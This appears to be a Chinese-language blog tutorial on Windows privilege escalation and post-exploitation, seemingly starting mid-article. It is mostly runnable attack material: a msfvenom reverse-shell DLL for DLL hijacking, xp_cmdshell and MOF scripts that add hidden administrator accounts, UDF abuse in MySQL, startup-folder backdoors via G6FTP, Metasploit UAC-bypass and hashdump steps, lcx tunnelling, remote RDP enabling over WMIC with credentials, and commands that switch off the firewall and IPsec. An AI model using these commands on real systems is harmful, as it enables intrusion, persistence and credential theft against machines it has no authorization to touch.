上传 C:ProgramDataCOMahawk64.exe 执行即可获取一个系统得账号和密码

1746601868283-8550449f-597f-4e0a-a137-cfa35564862c.png

漏洞修复

禁用注册表键AlwaysInstallElevated

自动安装配置文件提权

描述

网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用安装配置文件,这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码。

漏洞复现

我们执行如下命令,搜索Unattend.xml文件

dir /b /s c:Unattend.xml

这里我们的Unattend.xml文件是使用了base64对管理员的密码进行编码的

1746601917529-32ef71cd-4517-422e-858c-75ba888bf92e.png

也使用msf的 post/windows/gather/enum_unattend 对这个配置文件扫描

本地dll劫持提权

原理

Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

:::color1
1、应用程序加载的目录

2、C:WindowsSystem32

3、C:WindowsSystem

4、C:Windows

5、当前工作目录Current Working Directory,CWD

6、在PATH环境变量的目录(先系统后用户)

:::

这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件

复现

程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成木马程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了

1、 收集进程加载的dll

使用火绒剑分析该进程执行时加载了哪些dll

1746602001496-a5aa6f43-515e-450a-8d16-25ebde97f6b7.png

系统文件一般我们是更改不了的,所以一般选择未知文件和数字签名文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.106 lport=12345 -f
dll > libcurl_x86.dll

1746602025645-a114e594-de94-4efe-9cc0-58811ce73ea5.png

替换原来的dll

1746602035797-18b71201-541b-44db-9a2d-17b52af2f56f.png1746602045628-dfd54088-82f8-45a2-8a2d-19ba80655ec5.png

第三方提权

除了系统自带的服务外 ,安装第三方的软件例如 mysql sqlserver ftp等应用软件,如果权限设置不对,会对服务器造成安全隐患,从而导致服务器被提权

sqlserver 提权

描述

如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定的系统权限,还要看管理员开始安装sqlserver的权限设置 一般情况是system权限或者pulic 均能执行命令

敏感文件

web.config

config.asp

conn.aspx

database.aspx

复现

使用mssql连接工具或者webshell net提权脚本输入账号和密码连接

开启xp_cmdshell

Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc
Distributed Queries',1;RECONFIGURE;
Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup
administrators lx /add'
Exec master.dbo.xp_cmdshell 'systeminfo'

1746602134457-1b99f77f-c20c-4a30-83a4-7421a6cc11f3.png

查看当前权限也是一个普通用户。可以执行一些基础的命令,可以上传溢出提权工具 再来提高当前用户的权限。 有些时候 是一个系统权限 主要还是要看目标管理员在开始安装sqlserver的时候给的是什么样的权限

mysql提权

描述

在mysql 可以使用自定义函数进行提权,udf = user defined function 用户自定义函数对于自定义的函数 在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀微dll,c语言编写

插件目录

可以使用语句查询plugin插件目录

show variables like "%plugin%"

1746602174597-3b1cc0ff-4ae1-495f-a688-4a240eff21ae.png

复现

在网站上寻找mysql服务的连接账号和密码

上传提权脚本 到网站目录

1746602186166-1766b956-5fa2-4f07-8114-a01e7460a733.png

填写mysql的账号和密码后 导出udf

1746602199829-3627ab6a-d645-488a-9ca1-6131713c4697.png1746602208805-bf0fd6f0-18d3-41a9-ae30-49f265f7ebea.png

创建udf函数

1746602227866-61c1730d-1d31-4653-9996-1c2cf48bbdfd.png

mysql提权问题

1.版本有32 和64位的mysql 创建函数的方法一样,但是64版本的要用64的udf.dll

2.The MySQL server is running with the –secure-file-priv option so it cannot execute this statement

这种是mysql默认设置是不允许导入导出 需要在my.ini添加 secure-file-priv = 保存重启mysql即可

SELECT @@global.secure_file_priv

3.Can’t create/write to file ‘D:phpStudyMySQLlibpluginmoonudf.dll

这种是没有权限导出或者plugin目录不存在,需要手动创建或者权限不够

mof提权

描述

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实例。之后,提供程序、事件类别和事件信息 便可由 WMI 和 Visual Studio Analyzer 使用。 在 MOF 文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文件进行编译

原理

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格

式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令

影响版本

1.windows 03及以下版本

2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录

3.secure-file-priv参数不为null

复现

公开的nullevt.mof利用代码

#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user
moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

把mof.php上传到脚本 填写命令导出即可

1746602369128-ddf091cb-c843-4d11-a207-f35dba0eb130.png

G6FTP 提权

描述

G6 FTP Server 新一代的 FTP 服务器端软件,支持 RFC-959 标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。

原理

G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要进行端口转发(使用lcx 工具(lcx 具有三个功能:监听、转发、端口转向))

netstat -ano 查看G6fp端口

1746602399173-6beb1a9c-20c1-4594-b25b-11c8bb8d1dca.png

复现

在webshell访问 配置文件 C:Program Files (x86)Gene6 FTP ServerRemoteAdminRemote.ini

1746602414474-77b6787d-2f33-46b3-9d1c-2c3fdd5fc390.png

cmd5破解

1746602427156-39d7e92e-13e7-4957-ac57-962d1ec9b6e1.png

使用端口转发工具把8021端口转发出来 lcx.exe -tran 2333 127.0.0.1 8021

1746602436431-a53d5f98-73b4-4637-a755-f989875e0a64.png

在攻击者上安装g6ftp 连接上服务端进行设置

1746602929726-e9368bd9-186a-4802-96eb-f11009664302.png

1746602933745-b574e38d-5f3a-4651-8ff3-b5b5c61d4da8.png

将以下添加管理员命令 保存为bat文件上传到目标上 在设置里选择执行

net user moon QWEasd123 /add && net localgroup administrators moon /add

1746602945886-034465c4-c147-42f7-bfe9-6f791d5c7974.png登录ftp执行 quote stie A 但是失败了 在

1746602955004-e5997529-c3b0-445a-9916-28d9c48fc5e9.png

上传 Program.exe 系统重启时会自动执行

1746602964434-8052a024-66b6-4291-a02a-923dfb2c90c4.png

1746602972750-9c561480-66bd-4cc8-a850-bcc4634f2fc8.png

ftp://192.168.0.108/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/

写到启动项执行后门

绕过uac bypassuac

描述

UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的

1746603031328-41f505f0-24a2-467b-951f-5c7c7f07cf42.png

为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)

复现

bypassuac模块绕过uac

使用msf搜索 uac模块

1746603072634-28d4fee7-050d-4af7-8a89-4f3da370c4cd.png

通常使用 bypassuac模块 一般是可以绕过的 但是也不排除失败的可能

通过进程注入使可信任发布者证书绕过Windows UAC

1746603086520-0b56c6a0-03b3-4126-882b-bb8a661f394b.png

use exploit/windows/local/bypassuac

set session 1

run

1746603098539-480cd884-b48e-44c5-93fa-61c91a9e6cb8.png

在这里bypassuac失败

使用bypassuac_injection模块进行bypass

exploit/windows/local/bypassuac_injection

描述

此模块将利用受信任的通过进程注入发布者证书。它将产生一个关闭UAC标志的第二个shell。此模块使用反射DLL注入技术,仅丢弃DLL有效负载二进制文件,而不是标准技术中的三个单独的二进制文件。但是,它需要选择正确的体系结构x64(也适用于SYSWOW64系统)。如果指定EXE::自定义DLL应在单独启动有效负载后调用ExitProcess()

过程

use exploit/windows/local/bypassuac_injection

set session 1

run

1746603140409-86d87333-66be-499a-a055-b64430007f5d.png

如果使用hashdump出现这些错误信息

[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 9d0056b2b80f84cdc01549df87d34515...
[-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError
stdapi_registry_open_key: Operation failed: Access is denied.
[-] This script requires the use of a SYSTEM user context (hint: migrate into
service process)

1746603159191-4c04da15-d534-4a93-9531-edd03584c136.png迁移进行到64进程即可哈希。这个哈希得作用 我再内网横行篇里再跟详细说

1746603169139-723d92e3-1408-4661-897a-5ac46d55c9a8.png

lcx端口转发

描述

lcx是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款黑客入侵工具,lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不同端口之间形成一个回路。它常用于外网连接内网3389端口

lcx命令

[option:]
-listen <ConnectPort> <TransmitPort>
-tran <ConnectPort> <TransmitHost> <TransmitPort>
-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>

本地转发

本地转发主要是把127.0.0.1:端口 这个本地端口 转发到外部 让外部的客户端允许连接进来例如想发mysql端口转发出来

客户端–>3307->127.0.0.1:3306

1746603223495-32ce3964-46a3-4717-b0b2-3f281d9a2a00.png

1746603228120-9e40352b-bde0-4088-8dd1-fe7e0b36842e.png

在目标上执行 lcx -tran 3307 127.0.0.1 3306

1746603238081-25d7ea55-b8b6-4a58-b7ad-0f76b73f967b.png

知道mysql的账号和密码直接连接即可。 mysql -uroot -proot -h192.168.0.118 -P 3307

1746603246222-8afd7a01-ed9c-40e8-8000-1f15ae16c5d6.png

远程转发

远程转发 一般用于外网无法访问内网,内网可以访问外网,由内部发出请求到外网,所以防火墙不会拦截。

客户端除了可以在本地访问内网机子,也可以作为中间人,外部机子也能连接客户端到内网服务端

1746603270590-07e8d0d5-9ef8-4b6f-a2d9-927a99bb5ede.png

服务端执行 lcx.exe -slave 192.168.0.146 2333 127.0.0.1 3389

客户端执行 lcx -listen 51 2333

客户端使用远程终端 连接本地 127.0.0.1:51即登录3389端口的远程终端

1746603281307-27843fef-6dac-4637-8d6e-0863ddb2d0dd.png

攻击者连接客户端再到服务端

1746603290825-c280a98a-952d-4812-bd7b-7c21bd0fa1ec.png

远程终端问题集锦

描述

远程终端的默认端口是3389 云vps一般会开启 没有启用的情况下,在较高的权限下可以使用注册表命令进行开启

1746603306226-6da30cb9-42b9-432f-803d-494759f62162.png

注册表开启远程终端命令

2008 2012 2016 开启3389

echo DO ALL IN CMD!
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWdsrdpwdTdstcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f

MSF命令开启3389端口

run getgui -e

一条命令开始3389

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f

WMIC命令开启3389端口

Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(1:ON、0:OFF)

前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

WMIC开启远程主机3389端口

支持系统:

Win2k/XP/Win2k3

wmic /node:192.168.0.103 /user:administrator /password:betasec PATH
win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

支持系统:

Win7/Win2k8/Win8.1/Win10/2012/2016

wmic /node:192.168.0.116 /user:administrator /password:betasec RDTOGGLE WHERE
ServerName='WIN-TO2CN3V2VPR' call SetAllowTSConnections 1
wmic /node:192.168.0.116 /user:administrator /password:betasec process call
create 'cmd.exe /c REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal
Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

注意事项:

其实就是利用WMIC远程执行命令的方式来执行WMIC、REG等开启3389端口的命令。WMIC远程开启3389端口时不能用%COMPUTERNAME%环境变量替代远程主机的计算机名。

错误:描述 = 拒绝访问,这是因为开启了UAC用户账户控制,只允许RID500管理员执行此操作。

查询是否开启3389 (0为On 1为OFF)

REG query "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v
fDenyTSConnections

注册表查询端口号

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWinStationsRDP-Tcp

查看PortNumber字段

1746603480405-380d79c4-b79a-4cb9-8c92-8d9f3a65507b.png

REG query "HKLMSYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTds"
/s
REG query "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-
Tcp" /v PortNumber
set /a Port=0xd3d

通过网络命令查询端口

tasklist /svc | findstr "TermService"
netstat -ano | findstr "进程号"
net start |find "Remote Desktop Services"

关闭防火墙

确定开启了远程终端并且端口没错的情况下 还是连不上目标 目标上的防火墙可能允许,这个时候可以使

用lcx端口转发,或者使用命令关闭防火墙

netsh advfirewall show allprofile state 查询状态
netsh advfirewall set allprofiles state off 关闭防火墙
net stop "Windows Firewall" 关闭防火墙
sc config sharedaccess start= disabled 禁用防火墙
net stop sharedaccess 关闭防火墙

关闭 ipsec

在关闭防火墙时,还是连接不上,可能是ipsec做了ip策略处理,导致连接失败

可以使用命令 net stop "IPsec Policy Agent"

终端连接错误方法

1746603541335-bf22c687-e88b-4e25-867a-8df14a1a529e.png

可以使用相同版本的终端进行连接

或者使用 xfreerdp连接会自动加密

sudo apt install freerdp2-x11
xfreerdp /f /u:administrator /p:123456 /v:192.168.0.118

加入远程桌面组

1746603563680-167347d3-902e-4ef2-ac02-34fad2bc80e4.png

net localgroup "Remote Desktop Users" moonsec /add

1746603576470-bdab56bb-27cd-4310-92df-356e97d06350.png

终端超出最大连接数

终端超出最大连接数时可用下面的命 令来连接

mstsc /v:ip:3389 /console

更新: 2025-05-07 15:40:22
原文: https://www.yuque.com/yuhui.net/network/aoaox0w4ssfnfkhg



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字

插入代码